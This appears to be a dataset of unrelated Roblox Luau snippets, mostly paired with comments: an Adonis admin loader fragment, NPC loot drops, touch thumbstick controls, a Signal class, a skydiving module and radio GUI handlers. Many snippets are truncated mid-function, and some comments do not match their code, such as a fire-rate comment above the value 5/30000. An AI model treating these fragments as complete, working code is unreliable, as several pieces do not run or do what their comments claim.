local playerScripts = starterPlayer:FindFirstChildOfClass("StarterPlayerScripts");
local found = playerScripts:FindFirstChild(folder.Name);
warn(`FOUND?! {found}`);
warn(`LOOKED FOR : {folder.Name}`)
if found then
print("REMOVED!")
found.Parent = nil --found:Destroy();
end
--// Sometimes we load a little too fast and generate a warning from Roblox so we need to introduce some (minor) artificial loading lag...
warn("Changing child parent...")
folder.Name = "";
wait(0.01);
folder.Parent = nil; --// We cannot do this assynchronously or it will disconnect events that manage to connect before it changes parent to nil...
warn("Destroying parent...")
print("Debug: Loading the client?")
local meta = require(module)
warn(`Got metatable: {meta}`)
if meta and type(meta) == "userdata" and tostring(meta) == "Adonis" then
local ran,ret = pcall(meta,{
Module = module,
Start = start,
Loader = script,
Name = origName,
Folder = folder;
LoadingTime = loadingTime,
CallCheck = callCheck,
Kill = Kill
})
warn(`Got return: {ret}`)
if ret ~= "SUCCESS" then
realWarn(ret)
Kill("ACLI: Loading Error [Bad Module Return]")
else
print("Debug: The client was found and loaded?")
warn("Client Loaded")
if container and container:IsA("ScreenGui") then
container.Parent = nil --container:Destroy();
end
end
end
end
|
-- constants
|
local PLAYER_DATA = ReplicatedStorage:WaitForChild("PlayerData")
local PLAYER = Players.LocalPlayer
|
-- Updates metadata for one merch item, given its asset id
|
local function updateItemInfo(itemId: string, info: types.ItemInfo)
return {
itemId = itemId,
info = info,
}
end
return Rodux.makeActionCreator(script.Name, updateItemInfo)
|
--AI Booleans
|
local attackCool = true
local chasing = false
local pathFailCount = 0
|
-- script inside the NPC
|
local humanoid = script.Parent.Humanoid
local replicatedStorage = game:GetService("ReplicatedStorage")
local lootFolder = replicatedStorage.Loot
local dropChance = 100
local function onDeath()
local randomChance = math.random(1, dropChance)
if randomChance == 100 then
local randomItem = lootFolder:GetChildren()[math.random(1, #lootFolder:GetChildren())]:Clone()
local player = game.Players:GetPlayerFromCharacter(humanoid.Parent)
if player then
randomItem.Parent = player.Backpack
local gui = Instance.new("ScreenGui", player.PlayerGui)
local imageLabel = Instance.new("ImageLabel", gui)
imageLabel.Size = UDim2.new(0, 200, 0, 200)
imageLabel.Position = UDim2.new(0.5, -100, 0.5, -100)
imageLabel.Image = randomItem.ImageId
task.wait(3)
gui:Destroy()
end
end
end
humanoid.Died:Connect(onDeath)
|
-- Sample assumes a Main Portal Template and Image Ad Unit 1 model exists under Workspace
|
local mainPortal = Workspace:WaitForChild("Main Portal Template")
local mainImageAdUnit = Workspace:WaitForChild("Image Ad Unit 1")
|
-- do not touch --
|
local parent = script.Parent.Parent.LoadingScreen
local first = game.ReplicatedFirst
parent.Parent = first
script:Destroy()
|
------------------------------------------------------
|
local plane = script.Parent.Plane.Value
local cam = workspace.CurrentCamera
local player = game.Players.LocalPlayer
local CamV = "third"
local run = false
local AimPart = plane.AimPart
local input = game:GetService("UserInputService")
local Settings = require(plane.Parent.Settings.Config)
cam.CameraSubject = plane.PilotSeat
|
--------END RIGHT DOOR-------
|
end
wait(0.15)
until game.Workspace.DoorFlashing.Value == false
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.ScarySword -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--[=[
@tag Component Instance
@within Component
@prop Instance Instance
A reference back to the _Roblox_ instance from within a _component_ instance. When
a component instance is created, it is bound to a specific Roblox instance, which
will always be present through the `Instance` property.
```lua
MyComponent.Started:Connect(function(component)
local robloxInstance: Instance = component.Instance
print("Component is bound to " .. robloxInstance:GetFullName())
end)
```
]=]
|
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local Signal = require(script.Parent.Signal)
local Symbol = require(script.Parent.Symbol)
local Trove = require(script.Parent.Trove)
local Promise = require(script.Parent.Promise)
local IS_SERVER = RunService:IsServer()
local DEFAULT_ANCESTORS = {workspace, game:GetService("Players")}
local DEFAULT_TIMEOUT = 60
|
----------------
--[[SETTINGS]]--
----------------
|
local ViewAccessories = true
local ViewHeadAccessories = false
local RealisticView = true
local AutoLockFirstPerson = false
|
--[=[
@param inboundMiddleware ClientMiddleware?
@param outboundMiddleware ClientMiddleware?
@return table
Returns an object which maps RemoteFunctions as methods
and RemoteEvents as fields.
```lua
-- Server-side:
serverComm:BindFunction("Test", function(player) end)
serverComm:CreateSignal("MySignal")
-- Client-side
local obj = clientComm:BuildObject()
obj:Test()
obj.MySignal:Connect(function() end)
```
]=]
|
function ClientComm:BuildObject(inboundMiddleware: ClientMiddleware?, outboundMiddleware: ClientMiddleware?)
local obj = {}
local rfFolder = self._instancesFolder:FindFirstChild("RF")
local reFolder = self._instancesFolder:FindFirstChild("RE")
if rfFolder then
for _,rf in ipairs(rfFolder:GetChildren()) do
if not rf:IsA("RemoteFunction") then continue end
local f = self:GetFunction(rf.Name, inboundMiddleware, outboundMiddleware)
obj[rf.Name] = function(_self, ...)
return f(...)
end
end
end
if reFolder then
for _,re in ipairs(reFolder:GetChildren()) do
if not re:IsA("RemoteEvent") then continue end
obj[re.Name] = self:GetSignal(re.Name, inboundMiddleware, outboundMiddleware)
end
end
return obj
end
|
-- Concatenate these two tables, return result.
|
function CommonUtil.TableConcat(t1,t2)
for i=1,#t2 do
t1[#t1+1] = t2[i]
end
return t1
end
|
------------------------------------------
|
gui.Track.Text = radio.TName.Value
radio.TName.Changed:connect(function()
gui.Track.Text = radio.TName.Value
seat.Parent.Body.Dash.Screen.G.Song.Text = radio.TName.Value
seat.Parent.Body.Dash.RL.G.Song.Text = radio.TName.Value
seat.Parent.Misc.SFR.RR.G.Song.Text = radio.TName.Value
end)
gui.Stop.MouseButton1Click:connect(function()
if radio.Stopped.Value == false then
radio.Stopped.Value = true
end
end)
gui.Pause.MouseButton1Click:connect(function()
if radio.Paused.Value == false and radio.Stopped.Value == false then
radio.Paused.Value = true
end
end)
gui.Play.MouseButton1Click:connect(function()
if radio.Stopped.Value == true then
radio.Play.Value = not radio.Play.Value
else
if radio.Paused.Value == true then
radio.Paused.Value = false
end
end
end)
gui.Forward.MouseButton1Click:connect(function()
local n = radio.Track.Value+1
if n>#radio.Songs:GetChildren() then
n = 1
end
radio.Track.Value = n
end)
gui.Back.MouseButton1Click:connect(function()
local n = radio.Track.Value-1
if n<=0 then
n = #radio.Songs:GetChildren()
end
radio.Track.Value = n
end)
gui.AutoplayOn.MouseButton1Click:connect(function()
if radio.Autoplay.Value == true then
radio.Autoplay.Value = false
end
end)
gui.AutoplayOff.MouseButton1Click:connect(function()
if radio.Autoplay.Value == false then
radio.Autoplay.Value = true
end
end)
gui.List.MouseButton1Click:connect(function()
gui.Menu.Visible=not gui.Menu.Visible
end)
gui.Id.MouseButton1Click:connect(function()
gui.IdPlayer.Visible=not gui.IdPlayer.Visible
if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end
end)
gui.IdPlayer.Play.MouseButton1Click:connect(function()
if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then
radio.IdPlay.Value=""
wait()
end
radio.IdPlay.Value=gui.IdPlayer.TextBox.Text
end)
for i,v in pairs(gui.Menu:GetChildren()) do
v.MouseButton1Click:connect(function()
radio.Track.Value = i
end)
end
function Stopped()
if radio.Stopped.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
function Paused()
if radio.Paused.Value == true then
gui.Pause.Visible = false
gui.Play.Visible = true
else
if radio.Stopped.Value == false then
gui.Play.Visible = false
gui.Pause.Visible = true
end
end
end
function Autoplay()
if radio.Autoplay.Value == true then
gui.AutoplayOff.Visible = false
gui.AutoplayOn.Visible = true
else
gui.AutoplayOn.Visible = false
gui.AutoplayOff.Visible = true
end
end
radio.Stopped.Changed:connect(Stopped)
radio.Paused.Changed:connect(Paused)
radio.Autoplay.Changed:connect(Autoplay)
Stopped()
Paused()
Autoplay()
while wait(.5) do
if seat:FindFirstChild("SeatWeld") == nil then
script.Parent:Destroy()
end
end
|
--[[ Public API ]]
|
--
function Thumbstick:Enable()
ThumbstickFrame.Visible = true
end
function Thumbstick:Disable()
ThumbstickFrame.Visible = false
OnTouchEnded()
end
function Thumbstick:Create(parentFrame)
if ThumbstickFrame then
ThumbstickFrame:Destroy()
ThumbstickFrame = nil
if OnTouchMovedCn then
OnTouchMovedCn:disconnect()
OnTouchMovedCn = nil
end
if OnTouchEndedCn then
OnTouchEndedCn:disconnect()
OnTouchEndedCn = nil
end
end
local isSmallScreen = parentFrame.AbsoluteSize.y <= 500
local thumbstickSize = isSmallScreen and 70 or 120
local position = isSmallScreen and UDim2.new(0, (thumbstickSize/2) - 10, 1, -thumbstickSize - 20) or
UDim2.new(0, thumbstickSize/2, 1, -thumbstickSize * 1.75)
ThumbstickFrame = Instance.new('Frame')
ThumbstickFrame.Name = "ThumbstickFrame"
ThumbstickFrame.Active = true
ThumbstickFrame.Visible = false
ThumbstickFrame.Size = UDim2.new(0, thumbstickSize, 0, thumbstickSize)
ThumbstickFrame.Position = position
ThumbstickFrame.BackgroundTransparency = 1
local outerImage = Instance.new('ImageLabel')
outerImage.Name = "OuterImage"
outerImage.Image = TOUCH_CONTROL_SHEET
outerImage.ImageRectOffset = Vector2.new()
outerImage.ImageRectSize = Vector2.new(220, 220)
outerImage.BackgroundTransparency = 1
outerImage.Size = UDim2.new(0, thumbstickSize, 0, thumbstickSize)
outerImage.Position = UDim2.new(0, 0, 0, 0)
outerImage.Parent = ThumbstickFrame
StickImage = Instance.new('ImageLabel')
StickImage.Name = "StickImage"
StickImage.Image = TOUCH_CONTROL_SHEET
StickImage.ImageRectOffset = Vector2.new(220, 0)
StickImage.ImageRectSize = Vector2.new(111, 111)
StickImage.BackgroundTransparency = 1
StickImage.Size = UDim2.new(0, thumbstickSize/2, 0, thumbstickSize/2)
StickImage.Position = UDim2.new(0, thumbstickSize/2 - thumbstickSize/4, 0, thumbstickSize/2 - thumbstickSize/4)
StickImage.ZIndex = 2
StickImage.Parent = ThumbstickFrame
local centerPosition = nil
local deadZone = 0.05
local function doMove(direction)
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = direction / (thumbstickSize/2)
-- Scaled Radial Dead Zone
local inputAxisMagnitude = currentMoveVector.magnitude
if inputAxisMagnitude < deadZone then
currentMoveVector = Vector3.new()
else
currentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone))
-- NOTE: Making currentMoveVector a unit vector will cause the player to instantly go max speed
-- must check for zero length vector is using unit
currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y)
end
MasterControl:AddToPlayerMovement(currentMoveVector)
end
local function moveStick(pos)
local relativePosition = Vector2.new(pos.x - centerPosition.x, pos.y - centerPosition.y)
local length = relativePosition.magnitude
local maxLength = ThumbstickFrame.AbsoluteSize.x/2
if IsFollowStick and length > maxLength then
local offset = relativePosition.unit * maxLength
ThumbstickFrame.Position = UDim2.new(
0, pos.x - ThumbstickFrame.AbsoluteSize.x/2 - offset.x,
0, pos.y - ThumbstickFrame.AbsoluteSize.y/2 - offset.y)
else
length = math.min(length, maxLength)
relativePosition = relativePosition.unit * length
end
StickImage.Position = UDim2.new(0, relativePosition.x + StickImage.AbsoluteSize.x/2, 0, relativePosition.y + StickImage.AbsoluteSize.y/2)
end
-- input connections
ThumbstickFrame.InputBegan:connect(function(inputObject)
if MoveTouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch then
return
end
MoveTouchObject = inputObject
ThumbstickFrame.Position = UDim2.new(0, inputObject.Position.x - ThumbstickFrame.Size.X.Offset/2, 0, inputObject.Position.y - ThumbstickFrame.Size.Y.Offset/2)
centerPosition = Vector2.new(ThumbstickFrame.AbsolutePosition.x + ThumbstickFrame.AbsoluteSize.x/2,
ThumbstickFrame.AbsolutePosition.y + ThumbstickFrame.AbsoluteSize.y/2)
local direction = Vector2.new(inputObject.Position.x - centerPosition.x, inputObject.Position.y - centerPosition.y)
moveStick(inputObject.Position)
end)
OnTouchMovedCn = UserInputService.TouchMoved:connect(function(inputObject, isProcessed)
if inputObject == MoveTouchObject then
centerPosition = Vector2.new(ThumbstickFrame.AbsolutePosition.x + ThumbstickFrame.AbsoluteSize.x/2,
ThumbstickFrame.AbsolutePosition.y + ThumbstickFrame.AbsoluteSize.y/2)
local direction = Vector2.new(inputObject.Position.x - centerPosition.x, inputObject.Position.y - centerPosition.y)
doMove(direction)
moveStick(inputObject.Position)
end
end)
OnTouchEnded = function()
ThumbstickFrame.Position = position
StickImage.Position = UDim2.new(0, ThumbstickFrame.Size.X.Offset/2 - thumbstickSize/4, 0, ThumbstickFrame.Size.Y.Offset/2 - thumbstickSize/4)
MoveTouchObject = nil
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end
OnTouchEndedCn = UserInputService.TouchEnded:connect(function(inputObject, isProcessed)
if inputObject == MoveTouchObject then
OnTouchEnded()
end
end)
ThumbstickFrame.Parent = parentFrame
end
return Thumbstick
|
--------------------------------------------
|
local Signal = {}
Signal.__index = Signal
function Signal.new()
local self = setmetatable({
_bindable = Instance.new("BindableEvent");
_connections = {};
_args = {};
_threads = 0;
_id = 0;
}, Signal)
return self
end
function Signal.Is(obj)
return (type(obj) == "table" and getmetatable(obj) == Signal)
end
function Signal:Fire(...)
local id = self._id
self._id = self._id + 1
self._args[id] = {#self._connections + self._threads, {n = select("#", ...), ...}}
self._threads = 0
self._bindable:Fire(id)
end
function Signal:Wait()
self._threads = self._threads + 1
local id = self._bindable.Event:Wait()
local args = self._args[id]
args[1] = args[1] - 1
if (args[1] <= 0) then
self._args[id] = nil
end
return table.unpack(args[2], 1, args[2].n)
end
function Signal:Connect(handler)
local connection = Connection.new(self, self._bindable.Event:Connect(function(id)
local args = self._args[id]
args[1] = args[1] - 1
if (args[1] <= 0) then
self._args[id] = nil
end
handler(table.unpack(args[2], 1, args[2].n))
end))
table.insert(self._connections, connection)
return connection
end
function Signal:DisconnectAll()
for _,c in ipairs(self._connections) do
if (c._conn) then
c._conn:Disconnect()
end
end
self._connections = {}
self._args = {}
end
function Signal:Destroy()
self:DisconnectAll()
self._bindable:Destroy()
end
return Signal
|
--[=[
@param obj any
@return boolean
Returns `true` if `obj` is an Option.
]=]
|
function Option.Is(obj)
return type(obj) == "table" and getmetatable(obj) == Option
end
|
--======================================--
--==============Weld Creation(WCR)==============--
--======================================--
|
function onChanged()
local w1 = Instance.new("Weld")
local w2 = Instance.new("Weld")
local w3 = Instance.new("Weld")
local w4 = Instance.new("Weld")
local w5 = Instance.new("Weld")
local w6 = Instance.new("Weld")
local w7 = Instance.new("Weld")
local w8 = Instance.new("Weld")
local w9 = Instance.new("Weld")
local w10 = Instance.new("Weld")
local w11 = Instance.new("Weld")
local w12 = Instance.new("Weld")
|
--end
--if TurnValues.TurnSignal1.Value == 2 then
|
TurnValues.TurnSignal1.Value = 3
|
-- Legacy implementation renamed
|
function CameraUtils.GetAngleBetweenXZVectors(v1: Vector3, v2: Vector3): number
return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z)
end
function CameraUtils.RotateVectorByAngleAndRound(camLook: Vector3, rotateAngle: number, roundAmount: number): number
if camLook.Magnitude > 0 then
camLook = camLook.unit
local currAngle = math.atan2(camLook.z, camLook.x)
local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
|
--- Internal function that returns a point type
-- @param group string name
-- @param castMode numeric enum value
-- @param lastPosition Vector3 value
|
function Hitbox:_CreatePoint(group: string?, castMode: number, lastPosition: Vector3?): Point
return {
Group = group,
CastMode = castMode,
LastPosition = lastPosition,
WorldSpace = nil,
Instances = {},
}
end
|
-- Construct skydive button indicator GUI
|
local function createIndicatorImage(imageId)
local image = Instance.new("ImageLabel")
image.Image = imageId
image.BackgroundTransparency = 1
image.Size = UDim2.new(0, 100, 0, 100)
return image
end
local Skydiver = {}
Skydiver.__index = Skydiver
function Skydiver:setOnDisabled(cb)
self.onDisabled = cb
end
function Skydiver.new()
local self = setmetatable({}, Skydiver)
self.enabled = false
self.enabledTime = 0
self.straightDive = false
self.character = nil
self.humanoid = nil
self.humanoidRootPart = nil
self.autoDeploy = true
self.onlyAutoDeployOnce = true
self.waitingForJump = false
self.didJump = false
self.Jumped = Instance.new("BindableEvent")
self.freefallAnimation = nil
self.fallAnimationAsset = Instance.new("Animation")
self.fallAnimationAsset.AnimationId = "rbxassetid://616087089"
self.onClientEventConn = nil
--[[
Character management
]]
local character = localPlayer.Character
if character then
self:onCharacterAdded(character)
end
localPlayer.CharacterAdded:Connect(function(char)
self:onCharacterAdded(char)
end)
--[[
User Interface
]]
-- The skydiver prompt is an optional dependency.
-- Only create a skydiver prompt if the depedency was provided.
if Skydiver.ActionPromptGui then
local actionPromptImages = {
keyboard = createIndicatorImage("rbxassetid://2032127907"),
gamepad = createIndicatorImage("rbxassetid://2032438935"),
touch = createIndicatorImage("rbxassetid://3869394984"),
}
self.actionPromptGui = Skydiver.ActionPromptGui.new("", "To Skydive", actionPromptImages)
end
return self
end
function Skydiver:createContrail(part)
local contrail = BeamTemplate:Clone()
contrail.Name = part.Name
contrail.BeamHolder.Position = part.Position
contrail.BeamPart.Position = part.Position
contrail.WeldConstraint.Part1 = part
contrail.BeamPart.HeightBodyPosition.Position = part.Position + Vector3.new(0,30,0)
contrail.Parent = self.character
return contrail
end
function Skydiver:setupContrails()
if not self.humanoidRootPart then return end
self.LeftFootBeam = self:createContrail(self.character:WaitForChild("LeftFoot"))
self.RightFootBeam = self:createContrail(self.character:WaitForChild("RightFoot"))
self.LeftHandBeam = self:createContrail(self.character:WaitForChild("LeftHand"))
self.RightHandBeam = self:createContrail(self.character:WaitForChild("RightHand"))
end
function Skydiver:destroyContrails()
if self.LeftFootBeam then
self.LeftFootBeam:Destroy()
self.LeftFootBeam = nil
end
if self.RightFootBeam then
self.RightFootBeam:Destroy()
self.RightFootBeam = nil
end
if self.LeftHandBeam then
self.LeftHandBeam:Destroy()
self.LeftHandBeam = nil
end
if self.RightHandBeam then
self.RightHandBeam:Destroy()
self.RightHandBeam = nil
end
end
function Skydiver:disableContrails()
self.LeftFootBeam.Beam.Enabled = false
self.RightFootBeam.Beam.Enabled = false
self.LeftHandBeam.Beam.Enabled = false
self.RightHandBeam.Beam.Enabled = false
end
function Skydiver:enableContrails()
self.LeftFootBeam.Beam.Enabled = true
self.RightFootBeam.Beam.Enabled = true
self.LeftHandBeam.Beam.Enabled = true
self.RightHandBeam.Beam.Enabled = true
end
function Skydiver:updateContrails()
local leftFootPos = self.character:WaitForChild("LeftFoot").Position
local rightFootPos = self.character:WaitForChild("RightFoot").Position
local leftHandPos = self.character:WaitForChild("LeftHand").Position
local rightHandPos = self.character:WaitForChild("RightHand").Position
self.LeftFootBeam.BeamPart.HeightBodyPosition.Position = leftFootPos + Vector3.new(0,30,0)
self.RightFootBeam.BeamPart.HeightBodyPosition.Position = rightFootPos + Vector3.new(0,30,0)
self.LeftHandBeam.BeamPart.HeightBodyPosition.Position = leftHandPos + Vector3.new(0,30,0)
self.RightHandBeam.BeamPart.HeightBodyPosition.Position = rightHandPos + Vector3.new(0,30,0)
self.LeftFootBeam.BeamPart.XZBodyPosition.Position = leftFootPos + (self.character.LeftFoot.CFrame.RightVector * Vector3.new(-5,0,-7))
self.RightFootBeam.BeamPart.XZBodyPosition.Position = rightFootPos + (self.character.RightFoot.CFrame.RightVector * Vector3.new(5,0,7))
self.LeftHandBeam.BeamPart.XZBodyPosition.Position = leftHandPos + (self.character.LeftHand.CFrame.RightVector * Vector3.new(-7,0,-5))
self.RightHandBeam.BeamPart.XZBodyPosition.Position = rightHandPos + (self.character.RightHand.CFrame.RightVector * Vector3.new(7,0,5))
end
function Skydiver:setWaitingForJump(waiting)
if waiting == self.waitingForJump then
return
end
self.waitingForJump = waiting
if self.waitingForJump then
ContextActionService:BindActionAtPriority("ExitDeliveryVehicle", function(...) self:onJumpAction(...) end, false, 1000000, Enum.KeyCode.Space, Enum.KeyCode.ButtonA, Enum.UserInputType.Touch)
if self.actionPromptGui then
self.actionPromptGui:setVisible(true)
end
else
ContextActionService:UnbindAction("ExitDeliveryVehicle")
if self.actionPromptGui then
self.actionPromptGui:setVisible(false)
end
end
end
function Skydiver:waitForJumped()
if not self.didJump then
self.Jumped.Event:Wait()
end
end
function Skydiver:setEnabled(enabled)
if enabled == self.enabled then
return
end
self.enabled = enabled
if enabled then
self.enabledTime = tick()
if self.humanoid then -- make sure player is in correct state to start skydiving
self.humanoid:ChangeState(Enum.HumanoidStateType.Physics)
local activeTracks = self.humanoid:GetPlayingAnimationTracks() -- stop any previous animations
for i, v in pairs(activeTracks) do
v:Stop()
end
end
if self.character and self.humanoidRootPart then
self:setupSkydivingForCharacter()
end
RunService:BindToRenderStep("SkydiverUpdate", Enum.RenderPriority.Last.Value, function(dt) self:onUpdate(dt) end)
else
if self.onlyAutoDeployOnce then
self.autoDeploy = false
end
if self.freefallAnimation then
self.freefallAnimation:Stop()
self.freefallAnimation:Destroy()
self.freefallAnimation = nil
end
if self.PitchAttachment then
self.PitchAttachment:Destroy()
self.PitchAttachment = nil
end
if self.RootRigAttachment then
self.RootRigAttachment:Destroy()
self.RootRigAttachment = nil
end
if self.SkydivePart then
self.SkydivePart:Destroy()
self.SkydivePart = nil
end
if self.BodyVelocity then
self.BodyVelocity:Destroy()
self.BodyVelocity = nil
end
if self.humanoid then
self.humanoid:ChangeState(Enum.HumanoidStateType.Running)
end
if self.onClientEventConn then
self.onClientEventConn:Disconnect()
self.onClientEventConn = nil
end
self:destroyContrails()
if self.onDisabled then
self:onDisabled()
end
RunService:UnbindFromRenderStep("SkydiverUpdate")
end
end
function Skydiver:onCharacterAdded(character)
self.character = character
self.humanoid = self.character:WaitForChild("Humanoid")
self.humanoidRootPart = self.character:WaitForChild("HumanoidRootPart")
if self.enabled then
self:setupSkydivingForCharacter()
end
self.onClientEventConn = EventData.OnClientEvent:Connect(function(cmd)
if cmd == "ExitedDeliveryVehicle" then
if not self.didJump then
self:setWaitingForJump(false)
self.didJump = true
self.Jumped:Fire()
end
end
end)
end
function Skydiver:setupSkydivingForCharacter()
if not self.humanoidRootPart then
return
end
if self.humanoid and not self.freefallAnimation then
self.freefallAnimation = self.humanoid:LoadAnimation(self.fallAnimationAsset)
self.freefallAnimation.Looped = true
self.freefallAnimation.Priority = Enum.AnimationPriority.Action
self.freefallAnimation:Play()
end
if not self.PitchAttachment then
self.PitchAttachment = Instance.new("Attachment")
self.PitchAttachment.Orientation = Vector3.new(0,-90,0)
self.PitchAttachment.Position = Vector3.new(0,-0.35,0)
self.PitchAttachment.Axis = Vector3.new(0,0,1)
self.PitchAttachment.SecondaryAxis = Vector3.new(0,1,0)
self.PitchAttachment.Parent = self.humanoidRootPart
end
if not self.RootRigAttachment then
self.RootRigAttachment = Instance.new("Attachment")
self.RootRigAttachment.Orientation = Vector3.new(0,0,0)
self.RootRigAttachment.Position = Vector3.new(0,-0.35,0)
self.RootRigAttachment.Axis = Vector3.new(1,0,0)
self.RootRigAttachment.SecondaryAxis = Vector3.new(0,1,0)
self.RootRigAttachment.Parent = self.humanoidRootPart
end
if not self.SkydivePart then
self.SkydivePart = SkydivePartTemplate:Clone()
self.SkydivePart.PitchAndRollOrientation.Attachment1 = self.PitchAttachment
self.SkydivePart.YawOrientation.Attachment0 = self.RootRigAttachment
self.SkydivePart.Parent = workspace
end
if not self.BodyVelocity then
self.BodyVelocity = Instance.new("BodyVelocity")
self.BodyVelocity.P = 6000
self.BodyVelocity.MaxForce = Vector3.new(1000,2000,1000)
self.BodyVelocity.Parent = self.humanoidRootPart
end
self:setupContrails()
end
function Skydiver:doJump()
if not self.waitingForJump then
return
end
EventData:FireServer("ExitDeliveryVehicle")
end
function Skydiver:onJumpAction(actionName, inputState)
if inputState == Enum.UserInputState.Begin then
self:doJump()
end
end
function Skydiver:getAltitudeAboveGround()
if not self.humanoidRootPart then
return 0
end
debug.profilebegin("getAltitudeAboveGround")
local ignoreList = {
workspace.CurrentCamera,
self.SkydivePart,
workspace:FindFirstChild("DeliveryVehicle" .. tostring(PlayerMatchInfo.GetField(localPlayer, "teamNumber")))
}
for _, player in pairs(Players:GetPlayers()) do
if player.Character then
table.insert(ignoreList, player.Character)
end
end
local rayDown = Ray.new(self.humanoidRootPart.Position, Vector3.new(0, -ALTITUDE_TEST_LENGTH, 0))
local hitObject, hitPoint = workspace:FindPartOnRayWithIgnoreList(rayDown, ignoreList, false, false)
debug.profileend()
if not hitObject then
return ALTITUDE_TEST_LENGTH
else
return math.abs(rayDown.Origin.Y - hitPoint.Y)
end
end
function Skydiver:onUpdate(dt)
if not self.enabled then
return
end
local timeSinceEnabled = tick() - self.enabledTime
local altitude = self:getAltitudeAboveGround()
if altitude < DISABLE_ALTITUDE and self.enabledTime ~= 0 and timeSinceEnabled > 0.5 then
self:setEnabled(false)
return
end
if not self.humanoidRootPart or not self.humanoid then return end
local pitchRange = FALLING_PITCH_RANGE
local pitchOffset = 0
local rollRange = FALLING_ROLL_RANGE
local cameraPitchContribution = 0.3
local cameraCFrame = workspace.CurrentCamera.CFrame
local globalMoveVector = self.humanoid.MoveDirection
local relativeMoveVector = cameraCFrame:vectorToObjectSpace(globalMoveVector)
local cameraLook = cameraCFrame.lookVector
local cameraYaw = math.atan2(-cameraLook.X, -cameraLook.Z)
local cameraPitch = math.asin(cameraLook.Y)
self.straightDive = cameraLook.Y < -0.95 and -relativeMoveVector.Z > 0.1
local desiredPitch = (cameraPitchContribution * cameraPitch) + (pitchRange * relativeMoveVector.Z) + pitchOffset
local desiredRoll = (rollRange * -relativeMoveVector.X)
local targetCFrame = CFrame.new(self.humanoidRootPart.Position) *
CFrame.Angles(0, cameraYaw, 0) *
CFrame.Angles(self.straightDive and DIVE_PITCH or desiredPitch, 0, 0) *
CFrame.Angles(0, 0, desiredRoll)
self.SkydivePart.CFrame = targetCFrame
local globalForce = Vector3.new(globalMoveVector.x, 0, globalMoveVector.z)
local cameraLookXZ = Vector3.new(cameraLook.x, 0, cameraLook.z)
local dot = globalForce:Dot(cameraLookXZ)
local planeNormal = Vector3.new(0,1,0)
local det = globalForce.x*cameraLookXZ.y*planeNormal.z + cameraLookXZ.x*planeNormal.y*globalForce.z + planeNormal.x*globalForce.y*cameraLookXZ.z -
globalForce.z*cameraLookXZ.y*planeNormal.x - cameraLookXZ.z*planeNormal.y*globalForce.x - planeNormal.z*globalForce.y*cameraLookXZ.x
local angle = math.atan2(det,dot) + math.pi/2
local XZVelocity = XZ_VELOCITY
-- do not apply too much force when moving backwards
if angle < -math.pi * 0.05 or angle > math.pi * 1.05 then
XZVelocity = XZVelocity * 0.3
end
local yVelocity = FREEFALL_VELOCITY
if self.straightDive then
yVelocity = DIVE_VELOCITY
end
self.BodyVelocity.Velocity = Vector3.new(globalForce.x * XZVelocity, yVelocity, globalForce.z * XZVelocity)
self:updateContrails()
end
return Skydiver
|
-- How many times per second the gun can fire
|
local FireRate = 5 / 30000
|
-- Tween
|
local tween = game:GetService("TweenService")
local info = TweenInfo.new(
3,
Enum.EasingStyle.Linear,
Enum.EasingDirection.In,
0,
false,
0
)
local abrindo = {
CFrame = cf1.CFrame
}
local fechando = {
CFrame = doorpos
}
local create1 = tween:Create(portao,info,abrindo)
local create2 = tween:Create(portao,info,fechando)
|
--[=[
http://reactivex.io/documentation/operators/filter.html
Filters out values
```lua
Rx.of(1, 2, 3, 4, 5):Pipe({
Rx.where(function(value)
return value % 2 == 0;
end)
}):Subscribe(print) --> 2, 4
```
@param predicate (value: T) -> boolean
@return (source: Observable<T>) -> Observable<T>
]=]
|
function Rx.where(predicate)
assert(type(predicate) == "function", "Bad predicate callback")
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
return source:Subscribe(
function(...)
if predicate(...) then
sub:Fire(...)
end
end,
sub:GetFailComplete()
)
end)
end
end
|
-- get when the key is pressed
|
local function HandleKeyDown(inputObject,InUse)
if InUse then return end
for k,f in pairs (Actions) do
if k == inputObject.KeyCode then
f(inputObject)
end
end
end
local UIS = game:GetService("UserInputService")
local InputBeganConnection
|
--DevVince was here. :o
|
local shelly = script.Parent
local origin = shelly.PrimaryPart.CFrame
local tether = 15
local bg = shelly.PrimaryPart:WaitForChild'BodyGyro'
local bp = shelly.PrimaryPart:WaitForChild'BodyPosition'
bp.Position = origin.p
bg.CFrame = shelly.PrimaryPart.CFrame
local shellyGood = true
local ostrich = tick()
function MoveShelly()
bp.Parent = shelly.PrimaryPart
local goal
repeat
local ray = Ray.new(Vector3.new(origin.p.x+math.random(-tether,tether), shelly.PrimaryPart.Position.Y+100, origin.p.z+math.random(-tether,tether)),Vector3.new(0,-130,0))
local part,pos,norm,mat = workspace:FindPartOnRay(ray, shelly)
if part == workspace.Terrain and mat ~= Enum.Material.Water then
goal = pos+Vector3.new(0,.35,0)
end
wait()
until goal
--Set new goal for banto to MoveTo :)
